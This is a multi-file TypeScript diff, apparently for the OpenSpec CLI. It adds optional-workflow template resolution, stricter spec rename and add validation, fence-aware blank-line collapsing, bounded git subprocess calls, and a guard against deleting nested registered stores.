-    /^(\s*generatedBy:\s*)(?:"([^"\n]+)"|'([^'\n]+)'|([^\s"'#]+))\s*$/m;
+    /^([ \t]*generatedBy:[ \t]*)(?:"([^"\n]+)"|'([^'\n]+)'|([^\s"'#]+))[ \t]*$/m;
   const normalizedFrontmatter = frontmatter.replace(
     versionLine,
     (

src/core/shared/skill-generation.ts

@@ -32,8 +32,31 @@ import {
   type SkillTemplate,
 } from '../templates/skill-templates.js';
 import type { CommandContent } from '../command-generation/index.js';
+import {
+  assertWorkflowConditionalsResolved,
+  resolveOptionalWorkflows,
+} from '../templates/optional-workflow.js';
+import { ALL_WORKFLOWS } from '../profiles.js';
 import { OPENSPEC_CLI_ALLOWED_TOOLS } from './allowed-tools.js';
 
+/**
+ * The workflow set a template body is rendered against.
+ *
+ * `workflowFilter` is both the list of workflows to install and the set a
+ * template may refer to, so resolving optional-workflow conditionals here —
+ * the one place every generation path (init, update, migration, the skills.sh
+ * distribution) already funnels through — keeps a reference to an uninstalled
+ * workflow out of every generated file (#1734, umbrella #919).
+ *
+ * With no filter, every workflow is installed (that is what an unfiltered call
+ * means), so the installed branch is kept.
+ */
+function resolveInstalledWorkflows(
+  workflowFilter?: readonly string[]
+): ReadonlySet<string> {
+  return new Set<string>(workflowFilter ?? ALL_WORKFLOWS);
+}
+
 /**
  * Skill template with directory name and workflow ID mapping.
  */
@@ -72,10 +95,16 @@ export function getSkillTemplates(workflowFilter?: readonly string[]): SkillTemp
     { template: getOpsxProposeSkillTemplate(), dirName: 'openspec-propose', workflowId: 'propose' },
   ];
 
-  if (!workflowFilter) return all;
+  const installed = resolveInstalledWorkflows(workflowFilter);
+  const selected = workflowFilter ? all.filter(entry => installed.has(entry.workflowId)) : all;
 
-  const filterSet = new Set(workflowFilter);
-  return all.filter(entry => filterSet.has(entry.workflowId));
+  return selected.map(entry => ({
+    ...entry,
+    template: {
+      ...entry.template,
+      instructions: resolveOptionalWorkflows(entry.template.instructions, installed),
+    },
+  }));
 }
 
 /**
@@ -99,10 +128,16 @@ export function getCommandTemplates(workflowFilter?: readonly string[]): Command
     { template: getOpsxProposeCommandTemplate(), id: 'propose' },
   ];
 
-  if (!workflowFilter) return all;
+  const installed = resolveInstalledWorkflows(workflowFilter);
+  const selected = workflowFilter ? all.filter(entry => installed.has(entry.id)) : all;
 
-  const filterSet = new Set(workflowFilter);
-  return all.filter(entry => filterSet.has(entry.id));
+  return selected.map(entry => ({
+    ...entry,
+    template: {
+      ...entry.template,
+      content: resolveOptionalWorkflows(entry.template.content, installed),
+    },
+  }));
 }
 
 /**
@@ -138,6 +173,11 @@ export function generateSkillContent(
     ? transformInstructions(template.instructions)
     : template.instructions;
 
+  assertWorkflowConditionalsResolved(
+    instructions,
+    `Skill '${template.name}' was generated without resolving its optional-workflow blocks`
+  );
+
   return `---
 name: ${template.name}
 description: ${template.description}

src/core/shared/tool-detection.ts

@@ -281,10 +281,18 @@ export function extractGeneratedByVersion(skillFilePath: string): string | null
     //   version: "1.0"
     //   generatedBy: "0.23.0"
     // ---
-    const generatedByMatch = content.match(/^\s*generatedBy:\s*["']?([^"'\n]+)["']?\s*$/m);
+    // Scanned per line, and with `[ \t]` rather than `\s`, so the leading
+    // whitespace run can never cross a newline. A single `m`-anchored `\s*`
+    // over the whole file re-scans it from every line start, which is
+    // quadratic on a whitespace-heavy SKILL.md.
+    for (const line of content.split(/\r\n?|\n/)) {
+      const generatedByMatch = line.match(
+        /^[ \t]*generatedBy:[ \t]*["']?([^"'\n]+)["']?[ \t]*$/
+      );
 
-    if (generatedByMatch && generatedByMatch[1]) {
-      return generatedByMatch[1].trim();
+      if (generatedByMatch && generatedByMatch[1]) {
+        return generatedByMatch[1].trim();
+      }
     }
 
     return null;
@@ -361,7 +369,38 @@ export function getToolVersionStatus(
     }
   }
 
-  const needsUpdate = configured && (generatedByVersion === null || generatedByVersion !== currentVersion);
+  // 3. A version marker in a skill file only proves the SKILL files came from
+  //    this CLI. It says nothing about the command files written beside them,
+  //    which a user may have hand-edited or a partial write may have truncated.
+  //    Without this, `update` answered "all tools up to date" while a damaged
+  //    command file sat on disk, repairable only by knowing to pass --force.
+  //    The content comparison already exists; it was simply never consulted
+  //    once a skill file supplied a version.
+  //
+  //    Scoped to tools that have BOTH, so the commands-only path above keeps
+  //    its exact behaviour, and skipped when the delivery mode generates no
+  //    commands for this tool - there would be nothing to compare against, and
+  //    `areCommandFilesUpToDate` reports an empty command set as "not current".
+  let commandsDrifted = false;
+  if (skillConfigured && commandConfigured) {
+    let generatesCommands = true;
+    try {
+      generatesCommands = shouldGenerateCommandsForTool(
+        toolId,
+        getGlobalConfig().delivery ?? 'both'
+      );
+    } catch {
+      generatesCommands = true;
+    }
+    commandsDrifted =
+      generatesCommands && !areCommandFilesUpToDate(projectRoot, toolId, options);
+  }
+
+  const needsUpdate =
+    configured &&
+    (generatedByVersion === null ||
+      generatedByVersion !== currentVersion ||
+      commandsDrifted);
 
   return {
     toolId,

src/core/specs-apply.ts

@@ -55,7 +55,11 @@ function isLexicallyWithin(allowedDirectory: string, targetPath: string): boolea
   );
 }
 
-function resolveTrustedSpecPath(specsRoot: string, specPath: string): {
+function resolveTrustedSpecPath(
+  specsRoot: string,
+  specPath: string,
+  projectRoot?: string
+): {
   root: string;
   file: string;
 } {
@@ -78,6 +82,17 @@ function resolveTrustedSpecPath(specsRoot: string, specPath: string): {
     // Freeze their canonical location as the trust root so later swaps are
     // rejected while a nested spec.md link still cannot escape.
     const root = FileSystemUtils.canonicalizeExistingPath(path.dirname(specPath));
+    // An external capability link is deliberate and supported (see
+    // assertDiscoveredSpecPath), so it is not refused here. What was wrong is
+    // that the write was silent: the CLI reported the in-project path while
+    // writing somewhere else entirely, so a link swapped underneath a repo
+    // left nothing on screen to notice. Name the real destination instead.
+    if (projectRoot && !isLexicallyWithin(FileSystemUtils.canonicalizeExistingPath(projectRoot), root)) {
+      process.emitWarning(
+        `Capability '${path.basename(path.dirname(specPath))}' links outside the project; writing to ${root}`,
+        'OpenSpecExternalSpecWrite'
+      );
+    }
     const file = path.join(root, path.basename(specPath));
     FileSystemUtils.assertPathWithin(root, file);
     return { root, file };
@@ -110,7 +125,14 @@ export async function findSpecUpdates(changeDir: string, mainSpecsDir: string):
   for (const { id, specFile } of discovered) {
     const targetFile = path.join(mainSpecsDir, ...id.split('/'), 'spec.md');
     const source = resolveTrustedSpecPath(changeSpecsDir, specFile);
-    const target = resolveTrustedSpecPath(mainSpecsDir, targetFile);
+    // Main specs always live at `<project root>/openspec/specs`, so the
+    // project root is the grandparent - a linked capability directory may not
+    // leave it.
+    const target = resolveTrustedSpecPath(
+      mainSpecsDir,
+      targetFile,
+      path.dirname(path.dirname(mainSpecsDir))
+    );
 
     // Check if target exists
     let exists = false;
@@ -198,6 +220,35 @@ export async function buildUpdatedSpec(
   const plan = parseDeltaSpec(changeContent);
   const specName = update.id;
 
+  // A FROM:/TO: line that never formed a pair means the RENAMED section does not
+  // say what the author meant. Refuse rather than apply the pairing the reader
+  // happened to form: with interleaved lines that pairing renames a requirement
+  // the delta never named, under a name written for a different one.
+  if (plan.unpairedRenames.length > 0) {
+    const first = plan.unpairedRenames[0];
+    const missing = first.side === 'FROM' ? 'TO' : 'FROM';
+    throw new Error(
+      `${specName} validation failed - RENAMED entry on line ${first.line} has no matching ${missing}: ` +
+        `for header "### Requirement: ${first.name}". ` +
+        `Write each rename as a FROM: line followed immediately by its TO: line.`
+    );
+  }
+
+  // A well-formed requirement written outside every delta section is not
+  // applied. Say so here as well as in validate: archive is the last point at
+  // which the author can still notice, and the block reads exactly like one
+  // that would have applied.
+  for (const orphan of plan.orphanedRequirements) {
+    const where = orphan.section
+      ? `under "## ${orphan.section}"`
+      : 'above the first "## " section';
+    warn(
+      `${specName} - requirement "${orphan.name}" (line ${orphan.line}) is ${where}, ` +
+        `which is not a delta section, so it was not applied. ` +
+        `Move it under ADDED/MODIFIED/REMOVED/RENAMED Requirements.`
+    );
+  }
+
   // Pre-validate duplicates within sections
   const addedNames = new Set<string>();
   for (const add of plan.added) {
@@ -412,6 +463,17 @@ export async function buildUpdatedSpec(
     if (nameToBlock.has(to)) {
       throw new Error(`${specName} RENAMED failed for header "### Requirement: ${r.to}" - target already exists`);
     }
+    // A target that differs from another requirement only in case or interior
+    // whitespace would leave two copies of one requirement. The source itself
+    // is exempt, so a case-only rename of a requirement stays allowed.
+    const targetNearMiss = [...nameToBlock.keys()].find(
+      (k) => k !== from && foldRequirementName(k) === foldRequirementName(to)
+    );
+    if (targetNearMiss !== undefined) {
+      throw new Error(
+        `${specName} RENAMED failed for header "### Requirement: ${r.to}" - "### Requirement: ${nameToBlock.get(targetNearMiss)!.name}" already exists and differs only in case or spacing; choose a distinct name`
+      );
+    }
     const block = nameToBlock.get(from)!;
     const newHeader = `### Requirement: ${to}`;
     const rawLines = block.raw.split('\n');
@@ -505,6 +567,17 @@ export async function buildUpdatedSpec(
       }
       throw new Error(`${specName} ADDED failed for header "### Requirement: ${add.name}" - already exists`);
     }
+    // A name that differs from an existing requirement only in case or
+    // interior whitespace is that requirement written again: adding it would
+    // leave two contradicting copies in the spec. Like the exact check above,
+    // this compares against the spec as it stands after the earlier operations,
+    // so a variant of a requirement this delta removed or renamed away is fine.
+    const nearMiss = [...nameToBlock.keys()].find((k) => foldRequirementName(k) === foldRequirementName(key));
+    if (nearMiss !== undefined) {
+      throw new Error(
+        `${specName} ADDED failed for header "### Requirement: ${add.name}" - "### Requirement: ${nameToBlock.get(nearMiss)!.name}" already exists and differs only in case or spacing; use MODIFIED with that exact header to change it, or choose a distinct name`
+      );
+    }
     nameToBlock.set(key, add);
     addedApplied++;
   }
@@ -565,11 +638,12 @@ export async function buildUpdatedSpec(
   // glued the heading to the Purpose paragraph and the first requirement, so
   // every archive rewrote a well-formatted spec into that shape. Separate
   // non-empty slices with one blank line instead.
-  const rebuilt = [parts.before.trimEnd(), parts.headerLine, reqBody, parts.after.trim()]
-    .filter((s) => s !== '')
-    .join('\n\n')
-    .replace(/\n{3,}/g, '\n\n')
-    .trimEnd() + '\n';
+  const rebuilt =
+    collapseBlankRunsOutsideFences(
+      [parts.before.trimEnd(), parts.headerLine, reqBody, parts.after.trim()]
+        .filter((s) => s !== '')
+        .join('\n\n')
+    ).trimEnd() + '\n';
 
   return {
     rebuilt,
@@ -618,6 +692,78 @@ function firstForeignTail(raw: string): { heading: string; raw: string } | undef
   return undefined;
 }
 
+/**
+ * The column a line's content starts at, tabs expanded to a four-column stop.
+ * `prefix` is the text that precedes the content: a line's indentation, or a
+ * list item's indentation together with its marker.
+ */
+function contentColumn(prefix: string): number {
+  let column = 0;
+  for (const char of prefix) column += char === '\t' ? 4 - (column % 4) : 1;
+  return column;
+}
+
+/**
+ * A line that opens a block of its own: a blockquote, a thematic break, a list
+ * item, a table row, or raw HTML. CommonMark lets each of these interrupt a
+ * paragraph, so one written flush against a bullet starts something new rather
+ * than continuing it - and the audit has to name it rather than let it be
+ * deleted with the file. Headings interrupt too and are checked separately,
+ * since they are refused however they are indented.
+ */
+const INTERRUPTS_PARAGRAPH =
+  /^ {0,3}(?:>|(?:[-*_][ \t]*){3,}$|(?:[-*+]|\d{1,9}[.)])(?:[ \t]|$)|[<|])/;
+
+/**
+ * A list item, spelled the way CommonMark spells one, with its marker and the
+ * space after it captured so a caller can measure the item's content column.
+ *
+ * Every marker, and only those. `+` is a list marker like `-` and `*`: a spec
+ * bulleted that way validates like any other, and naming only two of the three
+ * made every one of its scenario bullets unaccounted content, so such a
+ * capability could not be retired at all.
+ *
+ * The nine-digit cap is the other half of "only those": CommonMark stops an
+ * ordered marker at nine digits, so `1234567890.` opens a paragraph, not a
+ * list. It changes no verdict here, because a line this pattern rejects is
+ * weighed by the same rules either way; it is here so the audit and
+ * INTERRUPTS_PARAGRAPH cannot disagree about what a marker is. A line one of
+ * them calls a bullet and the other does not is read as both at once, and that
+ * disagreement is what a shared definition removes.
+ *
+ * Content after the marker is not required, so an empty `- ` still reads as
+ * the bullet it is rather than falling through to the leftovers. The captured
+ * group is the indent plus the marker plus its trailing space, which is the
+ * item's content column.
+ */
+const LIST_ITEM = /^(\s*(?:[-*+]|\d{1,9}[.)])\s+)/;
+
+/**
+ * Drop up to `columns` visual columns of leading whitespace, so a line inside a
+ * list item is classified by what it is *within* that item. A `## Retention`
+ * indented under `100. Step` is a heading; measured against the file's left
+ * margin instead, it reads as five spaces of nothing and was absorbed as
+ * continuation. A tab straddling the boundary is consumed whole, which can only
+ * make a line look more like a construct - the direction that refuses.
+ */
+function dropIndent(line: string, columns: number): string {
+  let column = 0;
+  let index = 0;
+  while (index < line.length && column < columns) {
+    const char = line[index];
+    if (char === ' ') column += 1;
+    else if (char === '\t') column += 4 - (column % 4);
+    else break;
+    index++;
+  }
+  return line.slice(index);
+}
+
+/** A heading in any form a spec can write one, ATX or raw HTML. */
+function isHeadingLine(line: string): boolean {
+  return /^ {0,3}#{1,6}(?:[ \t]|$)/.test(line) || /^\s*<h[1-6]\b/i.test(line);
+}
+
 /**
  * The non-blank lines of a spec that are not part of what a retirement is able
  * to name: the title, the `## Purpose` section, the `## Requirements` header,
@@ -704,35 +850,101 @@ function contentTheMergeCannotName(parts: RequirementsSectionParts): string[] {
     // operational note below the last scenario be deleted unmentioned.
     let inScenarioBullets = false;
     let bulletsSeen = false;
+    // The content column of the list item the previous line opened or
+    // continued, or null when the last line was not part of one. A line
+    // indented to that column continues the item it sits under (#1780) - a
+    // repository that wraps its prose at a column limit writes most scenario
+    // bullets over two lines, and counting the second line as loose content
+    // made every such capability unretirable. Reset by a blank line, so an
+    // indented note written below the scenarios is still the author's own.
+    let listContentIndent: number | null = null;
+    // Whether the bullet's paragraph is still open, so a line that does not
+    // indent can still be continuing it. Closed by anything that ends a
+    // paragraph: a blank line, a fence, a heading, or a block of its own.
+    let paragraphOpen = false;
     for (let index = 0; index < lines.length; index++) {
       const line = lines[index];
       if (!line.trim()) {
         // Only a blank that follows actual bullets closes the run, so a blank
         // between a scenario header and its first bullet is not a boundary.
         if (bulletsSeen) inScenarioBullets = false;
+        listContentIndent = null;
+        paragraphOpen = false;
         continue;
       }
       if (index === 0) continue; // the `### Requirement:` header itself
+      const indent = contentColumn(/^[ \t]*/.exec(line)![0]);
+      // Indented to the item's content column: inside the item, whatever it
+      // holds - a nested list, a table, an indented quote.
+      const insideItem = listContentIndent !== null && indent >= listContentIndent;
+      // Every syntax test below reads the line as the item sees it. A wide
+      // marker (`100. `) pushes its content past the three columns Markdown
+      // constructs are allowed, so measuring from the file's left margin missed
+      // headings and block starts written inside such an item.
+      const withinItem = insideItem ? dropIndent(line, listContentIndent!) : line;
+      // Not indented at all, but continuing the bullet's own paragraph inside a
+      // scenario's unbroken bullet run - how a hand-wrapped bullet is usually
+      // written. Absorbing it widens nothing: a sibling bullet in that same
+      // position is already read as the scenario's own, and a lazy line is part
+      // of the bullet above it where a sibling is merely next to it. Outside
+      // the run the indent is required, so a note bulleted below the scenarios
+      // and its own wrapped lines stay the author's.
+      const lazilyContinuesBullet =
+        paragraphOpen && inScenarioBullets && !INTERRUPTS_PARAGRAPH.test(withinItem);
+      // A heading is a heading wherever it sits, so neither form absorbs one:
+      // `firstForeignTail` names the ATX spelling and the `before` pass names
+      // the raw HTML, and indenting a section under a bullet must not smuggle
+      // it past the audit.
+      const continuesListItem = (insideItem || lazilyContinuesBullet) && !isHeadingLine(withinItem);
       // Fenced lines render as a code block inside the requirement, so they are
       // its own content however they are spelled - a `### Requirement:` in an
       // example is not a heading to any reader. Flagging them made a spec that
       // merely documents a command unretirable.
-      if (mask[index]) continue;
+      if (mask[index]) {
+        // A fence that starts left of the item's content column has ended it,
+        // and a fence ends the paragraph wherever it sits - so what follows is
+        // not a lazy continuation of anything.
+        if (!insideItem) listContentIndent = null;
+        paragraphOpen = false;
+        continue;
+      }
+      // Checked ahead of the continuation branch: a setext underline turns the
+      // line above it into a heading, and indenting the pair under a bullet
+      // must not absorb them any more than an indented `#` line is absorbed.
       if (
         index > 1 &&
-        /^ {0,3}(?:=+|-+)\s*$/.test(line) &&
+        /^ {0,3}(?:=+|-+)\s*$/.test(withinItem) &&
         lines[index - 1].trim()
       ) {
         leftovers.push(lines[index - 1].trim());
+        listContentIndent = null;
+        paragraphOpen = false;
         continue;
       }
+      // A continuation of the list item above: indented to its content column
+      // with no blank line between. Whatever the item is, this line is part of
+      // it - accounted for when the item was, and already reported when it was
+      // not, so nothing is deleted unmentioned either way.
+      if (continuesListItem) {
+        // An indented nested list or quote is still inside the item, but it
+        // ended the bullet's paragraph - so a later unindented line is not
+        // continuing that paragraph either.
+        paragraphOpen = !INTERRUPTS_PARAGRAPH.test(withinItem);
+        continue;
+      }
+      // Any other line closes the item; a bullet opens the next one. The
+      // content column is the marker's own indent plus the marker itself, so a
+      // nested list and its own wrapped lines stay inside the item too.
+      const bullet = line.match(LIST_ITEM);
+      listContentIndent = bullet ? contentColumn(bullet[1]) : null;
+      paragraphOpen = bullet !== null;
       if (/^ {0,3}####\s+Scenario:/i.test(line)) {
         seenScenario = true;
         inScenarioBullets = true;
         bulletsSeen = false;
         continue;
       }
-      if (/^\s*(?:[-*]|\d+[.)])\s/.test(line)) {
+      if (bullet) {
         if (inScenarioBullets) {
           bulletsSeen = true;
           continue;
@@ -752,6 +964,44 @@ function contentTheMergeCannotName(parts: RequirementsSectionParts): string[] {
   return [...new Set(leftovers)];
 }
 
+/**
+ * Collapse runs of blank lines to a single blank line - everywhere except
+ * inside a fenced code block.
+ *
+ * The normalisation exists to tidy the seams between the slices this function
+ * rejoins. Applying it to the whole document also rewrote the inside of fenced
+ * code blocks, so a requirement documenting a sample with two consecutive blank
+ * lines had that sample silently edited on every archive. That matters for
+ * whitespace-significant content, and every other structural pass in this
+ * module is already fence-aware via `buildCodeFenceMask`.
+ *
+ * Only a truly empty line counts as blank, exactly as the `/\n{3,}/` it
+ * replaces did: a line of spaces was never collapsed and still is not.
+ */
+function collapseBlankRunsOutsideFences(content: string): string {
+  const lines = content.split('\n');
+  const mask = buildCodeFenceMask(lines);
+  const kept: string[] = [];
+  let blankRun = 0;
+  for (let index = 0; index < lines.length; index++) {
+    const line = lines[index];
+    if (mask[index]) {
+      blankRun = 0;
+      kept.push(line);
+      continue;
+    }
+    if (line === '') {
+      blankRun++;
+      if (blankRun > 1) continue;
+      kept.push(line);
+      continue;
+    }
+    blankRun = 0;
+    kept.push(line);
+  }
+  return kept.join('\n');
+}
+
 function normalizeBlockRaw(raw: string): string {
   return raw.replace(/\r\n?/g, '\n').trim();
 }
@@ -1011,14 +1261,34 @@ export async function writeUpdatedSpec(
 /** Blank out `<!-- ... -->` spans, preserving line count so indices stay aligned. */
 function maskHtmlComments(content: string): string {
   const blank = (text: string) => text.replace(/[^\n]/g, ' ');
-  // `--!>` is a comment terminator as well as `-->`.
-  const masked = content.replace(/<!--[\s\S]*?--!?>/g, blank);
-  // A comment that is never closed runs to end of file, so everything after it
-  // is commented out too. Without this an unterminated `<!--` above a
-  // `## Purpose` left the commented-out header looking real (#1413).
-  const unterminated = masked.indexOf('<!--');
-  if (unterminated === -1) return masked;
-  return masked.slice(0, unterminated) + blank(masked.slice(unterminated));
+  // Linear scan: every character is visited once. A `/<!--[\s\S]*?--!?>/g`
+  // replace re-scans to end of file from every `<!--`, which is quadratic on a
+  // spec dense in comment openers.
+  let out = '';
+  let index = 0;
+  for (;;) {
+    const open = content.indexOf('<!--', index);
+    if (open === -1) return out + content.slice(index);
+    out += content.slice(index, open);
+    // `--!>` is a comment terminator as well as `-->`.
+    let close = -1;
+    for (let i = open + 4; i < content.length; i++) {
+      if (content.startsWith('-->', i)) {
+        close = i + 3;
+        break;
+      }
+      if (content.startsWith('--!>', i)) {
+        close = i + 4;
+        break;
+      }
+    }
+    // A comment that is never closed runs to end of file, so everything after
+    // it is commented out too. Without this an unterminated `<!--` above a
+    // `## Purpose` left the commented-out header looking real (#1413).
+    if (close === -1) return out + blank(content.slice(open));
+    out += blank(content.slice(open, close));
+    index = close;
+  }
 }
 
 /**

src/core/store/git.ts

@@ -6,7 +6,51 @@ import { promisify } from 'node:util';
 import { StoreError } from './errors.js';
 
 const fs = nodeFs.promises;
-const execFileAsync = promisify(execFile);
+const rawExecFileAsync = promisify(execFile);
+
+/**
+ * Bounds every read-only git probe. Without a timeout a wedged network mount, an
+ * fsmonitor daemon, or a credential/GPG prompt hangs the CLI forever; without a
+ * raised maxBuffer a very large dirty tree makes `git status --porcelain` throw
+ * ENOBUFS, which the probes below would otherwise report as "no git facts".
+ * A probe writes nothing, so a hard kill is safe.
+ */
+export const GIT_EXEC_OPTIONS = {
+  encoding: 'utf8',
+  timeout: 15_000,
+  killSignal: 'SIGKILL',
+  maxBuffer: 16 * 1024 * 1024,
+} as const;
+
+/**
+ * Writes get their own bounds, and deliberately NOT SIGKILL: git traps SIGTERM
+ * to remove `.git/index.lock` on its way out, and a signal it cannot catch
+ * leaves that lock behind - every later git command in the user's store then
+ * fails with "Another git process seems to be running", including the
+ * best-effort unstage below. The timeout is also far longer, because a signed
+ * commit can legitimately sit waiting on pinentry or a hardware key.
+ */
+export const GIT_WRITE_EXEC_OPTIONS = {
+  encoding: 'utf8',
+  timeout: 120_000,
+  maxBuffer: 16 * 1024 * 1024,
+} as const;
+
+function execFileAsync(
+  file: string,
+  args: string[],
+  options: { cwd?: string } = {}
+): Promise<{ stdout: string; stderr: string }> {
+  return rawExecFileAsync(file, args, { ...GIT_EXEC_OPTIONS, ...options });
+}
+
+/** Same as execFileAsync, for commands that modify the user's repository. */
+function execGitWrite(
+  args: string[],
+  options: { cwd?: string } = {}
+): Promise<{ stdout: string; stderr: string }> {
+  return rawExecFileAsync('git', args, { ...GIT_WRITE_EXEC_OPTIONS, ...options });
+}
 
 /**
  * Git mechanics for stores: repository detection, setup-time init and
@@ -39,7 +83,7 @@ export async function initGitRepository(storeRoot: string): Promise<boolean> {
   }
 
   try {
-    await execFileAsync('git', ['init'], { cwd: storeRoot });
+    await execGitWrite(['init'], { cwd: storeRoot });
   } catch (error) {
     throw new StoreError(
       `Failed to initialize Git repository: ${error instanceof Error ? error.message : String(error)}`,
@@ -101,16 +145,15 @@ export async function commitStoreFiles(
   }
 
   try {
-    await execFileAsync('git', ['add', '--', ...pathspecs], { cwd: storeRoot });
-    await execFileAsync(
-      'git',
+    await execGitWrite(['add', '--', ...pathspecs], { cwd: storeRoot });
+    await execGitWrite(
       ['commit', '-m', `Initialize OpenSpec store ${id}`, '--', ...pathspecs],
       { cwd: storeRoot }
     );
   } catch (error) {
     // Best-effort unstage so a failed commit (gpg signing, hooks) does not
     // leave setup's files in the user's index after rollback deletes them.
-    await execFileAsync('git', ['rm', '--cached', '-r', '-f', '-q', '--', ...pathspecs], {
+    await execGitWrite(['rm', '--cached', '-r', '-f', '-q', '--', ...pathspecs], {
       cwd: storeRoot,
     }).catch(() => undefined);
 
@@ -127,11 +170,41 @@ export async function commitStoreFiles(
   return true;
 }
 
+/**
+ * A probe that hit a resource limit rather than an ordinary Git answer: the
+ * command was killed by the timeout above, or its output exceeded maxBuffer.
+ * Both produce the same `null` as "not a repository", so without this the CLI
+ * would quietly stop reporting facts it is capable of reporting.
+ */
+export function isProbeResourceFailure(error: unknown): boolean {
+  if (typeof error !== 'object' || error === null) return false;
+  const { code, killed, signal } = error as {
+    code?: number | string;
+    killed?: boolean;
+    signal?: string | null;
+  };
+  return (
+    code === 'ERR_CHILD_PROCESS_STDIO_MAXBUFFER' ||
+    code === 'ETIMEDOUT' ||
+    (killed === true && signal === 'SIGKILL')
+  );
+}
+
 async function gitProbe(storeRoot: string, args: string[]): Promise<string | null> {
   try {
     const { stdout } = await execFileAsync('git', ['-C', storeRoot, ...args]);
     return stdout;
-  } catch {
+  } catch (error) {
+    // "git is absent" and "this is not a repository" are expected answers and
+    // stay silent; a probe that timed out or overflowed its buffer is a
+    // degraded result the user should know about, since callers cannot tell
+    // the two apart from the null alone.
+    if (isProbeResourceFailure(error)) {
+      process.emitWarning(
+        `git ${args.join(' ')} did not complete in ${storeRoot}; store Git facts are unavailable for this run.`,
+        'OpenSpecGitProbeWarning'
+      );
+    }
     return null;
   }
 }

src/core/store/operations.ts

@@ -36,6 +36,7 @@ import {
 } from './foundation.js';
 import { StoreError, type StoreDiagnostic, makeStoreDiagnostic } from './errors.js';
 import {
+  GIT_EXEC_OPTIONS,
   assertGitCommitIdentity,
   commitStoreFiles,
   gitDirectoryHasTrackedFiles,
@@ -291,12 +292,11 @@ async function findContainingGitRepositoryRoot(storeRoot: string): Promise<strin
   };
 
   try {
-    const { stdout } = await execFileAsync('git', [
-      '-C',
-      nearestParent,
-      'rev-parse',
-      '--show-toplevel',
-    ]);
+    const { stdout } = await execFileAsync(
+      'git',
+      ['-C', nearestParent, 'rev-parse', '--show-toplevel'],
+      GIT_EXEC_OPTIONS
+    );
     return gitRootContainsStore(stdout.trim());
   } catch {
     let current = nearestParent;
@@ -457,7 +457,7 @@ async function resolveBackendWithObservedOrigin(
 }
 
 async function prepareSetupPlan(
-  input: Pick<SetupStoreInput, 'id' | 'path' | 'allowInsideGitRepository' | 'remote'>
+  input: Pick<SetupStoreInput, 'id' | 'path' | 'initGit' | 'allowInsideGitRepository' | 'remote'>
 ): Promise<StoreSetupPlan> {
   const id = validateStoreId(input.id ?? '');
   if (input.remote !== undefined && input.remote.length === 0) {
@@ -481,9 +481,10 @@ async function prepareSetupPlan(
   }
 
   // Stores may be Git-backed, but creating one inside an implementation
-  // repo is almost always an accidental nested-repo setup.
+  // repo is almost always an accidental nested-repo setup. --no-init-git
+  // creates no repository, so there is nothing to nest.
   await assertSetupPathIsNotNestedInGitRepo(storeRoot, {
-    allowInsideGitRepository: input.allowInsideGitRepository,
+    allowInsideGitRepository: input.allowInsideGitRepository || input.initGit === false,
   });
 
   let metadata: Awaited<ReturnType<typeof readStoreMetadataForOperation>> = null;
@@ -557,7 +558,7 @@ export function resolveSetupGitEnabled(
 }
 
 export async function prepareStoreSetup(
-  input: Pick<SetupStoreInput, 'id' | 'path' | 'allowInsideGitRepository' | 'remote'>
+  input: Pick<SetupStoreInput, 'id' | 'path' | 'initGit' | 'allowInsideGitRepository' | 'remote'>
 ): Promise<PreparedStoreSetup> {
   const plan = await prepareSetupPlan(input);
 
@@ -948,6 +949,40 @@ async function assertSafeToDeleteStoreRoot(storeRoot: string, id: string): Promi
   return { exists: true };
 }
 
+/**
+ * Deleting a store root takes everything under it, including any other
+ * store registered inside it (a shared store vendored as a submodule, for
+ * example). `store remove <id>` never asked for that store to go.
+ */
+function assertNoRegisteredStoreInside(
+  storeRoot: string,
+  id: string,
+  others: Array<{ id: string; storeRoot: string }>
+): void {
+  const root = normalizeRegistryPathForComparison(storeRoot);
+  const nested = others.filter((other) => {
+    const relative = path.relative(root, normalizeRegistryPathForComparison(other.storeRoot));
+    return (
+      relative.length > 0 &&
+      relative !== '..' &&
+      !relative.startsWith(`..${path.sep}`) &&
+      !path.isAbsolute(relative)
+    );
+  });
+  if (nested.length === 0) return;
+
+  const listed = nested.map((other) => `'${other.id}' (${other.storeRoot})`).join(', ');
+  const unregister = nested.map((other) => `openspec store unregister ${other.id}`).join(', then ');
+  throw new StoreError(
+    `Store remove refuses to delete ${storeRoot}: it contains ${nested.length === 1 ? 'another registered store' : 'other registered stores'}: ${listed}.`,
+    'store_remove_contains_registered_store',
+    {
+      target: 'store.root',
+      fix: `Unregister or remove ${nested.length === 1 ? 'that store' : 'those stores'} first (${unregister}), or run "openspec store unregister ${id}" to forget '${id}' without deleting files.`,
+    }
+  );
+}
+
 export async function removeStore(
   target: PreparedStoreCleanup
 ): Promise<StoreCleanupResult> {
@@ -963,9 +998,12 @@ export async function removeStore(
     id,
     expectedBackend: target.backend,
     globalDataDir: target.globalDataDir,
-    beforeCommit: async (entry) => {
+    beforeCommit: async (entry, remaining) => {
       const safeTarget = await assertSafeToDeleteStoreRoot(entry.storeRoot, id);
       rootMissing = !safeTarget.exists;
+      if (safeTarget.exists) {
+        assertNoRegisteredStoreInside(entry.storeRoot, id, remaining);
+      }
     },
   });
 

src/core/store/registry.ts

@@ -39,7 +39,11 @@ export interface GetRegisteredStoreInput extends ResolveRegisteredStoreInput {
 export interface UnregisterStoreInput extends StorePathOptions {
   id: string;
   expectedBackend?: StoreGitBackendConfig;
-  beforeCommit?: (entry: RegisteredStoreEntry) => Promise<void>;
+  /** Runs under the registry lock, with the registrations that will remain. */
+  beforeCommit?: (
+    entry: RegisteredStoreEntry,
+    remaining: RegisteredStoreEntry[]
+  ) => Promise<void>;
 }
 
 export type ListRegisteredStoresOptions = StorePathOptions;
@@ -414,7 +418,11 @@ export async function unregisterStoreRegistration(
         ...result.removed,
         storeRoot: getStoreRootForBackend(result.removed.backend),
       };
-      await input.beforeCommit?.(removedEntry);
+      const remaining = listStoreRegistryEntries(result.next).map((entry) => ({
+        ...entry,
+        storeRoot: getStoreRootForBackend(entry.backend),
+      }));
+      await input.beforeCommit?.(removedEntry, remaining);
       removed = result.removed;
       return result.next;
     },

src/core/templates/optional-workflow.ts

@@ -0,0 +1,187 @@
+/**
+ * Optional-Workflow Conditionals
+ *
+ * Not every workflow is installed. The `core` profile ships six of the twelve
+ * (`propose`, `explore`, `apply`, `update`, `sync`, `archive`), and a `custom`
+ * profile can ship any subset. A template that names `/opsx:continue` is
+ * therefore writing a dead reference for anyone whose profile omits it — the
+ * agent is told to hand off to a workflow that was never generated (#1734,
+ * umbrella #919).
+ *
+ * `command-references.ts` rewrites how a reference is spelled; this module
+ * decides whether it is emitted at all. Templates author both branches with
